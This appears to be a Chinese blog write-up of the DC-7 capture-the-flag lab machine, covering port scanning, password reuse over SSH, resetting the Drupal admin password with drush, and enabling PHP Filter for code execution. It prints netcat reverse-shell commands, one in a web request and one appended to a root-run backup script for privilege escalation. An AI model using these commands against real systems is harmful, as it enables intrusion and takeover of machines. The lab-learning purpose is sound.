渗透测试演练 DC-7
DC-7
author:leadlife
data:2023/5/18
blog:https://tripse.github.io/
本次测试使用到的工具如下:
- 信息收集:nmap、fscan、cmseek、searchsploit
- 获取 SHELL:无
- 暴力破解:无
- FUZZ:无
- 辅助工具:无
- 权限提升:无
外部信息收集
Nmap ICMP 扫描发现主机
本地靶机 IP为 10.10.10.137
1 | sudo nmap -sP 10.10.10.0/24 -T4 --min-rate 10000 |
1 | Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 18:08 CST |
Fsacn 探测开放端口
1 | sudo fscan -h 10.10.10.137 -t 30 -p 0-65535 |
1 | ___ _ |
Nmap 进行详细端口扫描
1 | sudo nmap -sS -sV -O -T4 --min-rate 10000 -sC 10.10.10.137 -oN namp.all |
1 | Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-18 18:10 CST |
判断 CMS
来到 DC7 Web 页面,可以看到 CMS 位 Drupal
CMSeek 判断 CMS 版本
searchsploit 搜寻 cms 版本漏洞
可以看到 drupal 8 version 存在代码执行
获取 SHELL
MSF 漏洞利用尝试
失败,其他 exp 均以尝试
再次信息收集
发现主页存在一些信息:
总结如下:
- DC-7 这个靶机存在一些 “新” 的渗透概念
- 不建议使用暴力破解,很可能失败
- think outside,即跳出该盒子的思维
我们可以观察到一个特殊的版权信息:
Google 全网检索一下关键字:
得到两个关键检索
该 Github repo 很可能是源代码,download 下来看看:
得到信息,与 DC-7 靶机验证,即为该靶机的 web 源码,如此思路如下:
- 拿到 web 后台账户密码
- 利用后台进行 GetSHELL
1:拿到 web 后台账户密码
2:利用后台进行 GetSHELL
来到后台,该 URL 为登陆页面:http://10.10.10.137/user/login
登陆失败,转换思路:尝试密码复用去登陆 ssh
成功登陆
内部信息收集
内核与发行版
SUID
其中 exim4 可尝试提权
SUDO
no sudo
1 | dc7user@dc-7:~$ sudo -l |
降权
来到 home 目录发现如下文件:
backups:备份文件
mbox:内容看着像一个定时备份,但是失败而保存的邮件
查看定时任务:
无任何发现
查看 /var/mail/ 文件,得到一个文件路径:/opt/scripts/backups.sh
backups.sh 内容如下:
回头分析 /var/mail
中邮件的时间,则可得知
- 该脚本会在某一段时间自动执行且以 root 权限运行
- 虽然我们没有找到定时任务其中的内容(无权限进入),==且对该文件没有权限去读写==,但仍然可以操作
/var/www/html
下源码来到 Web 后台,通过后台 GetSHELL,拿到 www-data 的 SHELL,从而修改该文件内容获取 root shell
拿到账号密码,登入后台:
仍然失败,到这里思路就断了,继续信息收集:
通过查看
/opt/scripts/backups.sh
内容,我们得到如下信息:
1 | drush sql-dump --result-file=/home/dc7user/backups/website.sql |
发现了 drush,利用它可修改 drupal cms 后台的账号密码:
若用户不存在会报错,所以可以直接测试任意用户:
来到后台:
GetSHELL 过程
思路
安装 PHP Filter 模块:本地下载上传
https://www.drupal.org/project/php/releases/8.x-1.x-dev
修改页面内容,则可操作 php 代码
来到 Extent 开启 php filter:
拉到最下面点击 INSTALL
安装完后返回 Content 编辑内容,即可添加 PHP 代码
操作反弹 SHELL:
本地监听:
1 | nc -lvnp 1234 |
反弹:
1 | http://10.10.10.137/node/5?cmd=nc%20-e%20/bin/bash%2010.10.10.1%201234 |
优化 SHELL
1 | python -c 'import pty;pty.spawn("/bin/bash")' |
权限提升
修改定时脚本文件提权
1 | www-data@dc-7:/opt/scripts$ echo "nc -e /bin/bash 10.10.10.1 4321" >> backups.sh |
本地监听:
1 | leadlife@endeavrouOS ~/p/DC7 [1]> nc -lvnp 4321 |
等待回弹即可,最后却没有回弹,这里可参考网上 writeup,应当是执行环境有问题,且执行过程中验证了某些东西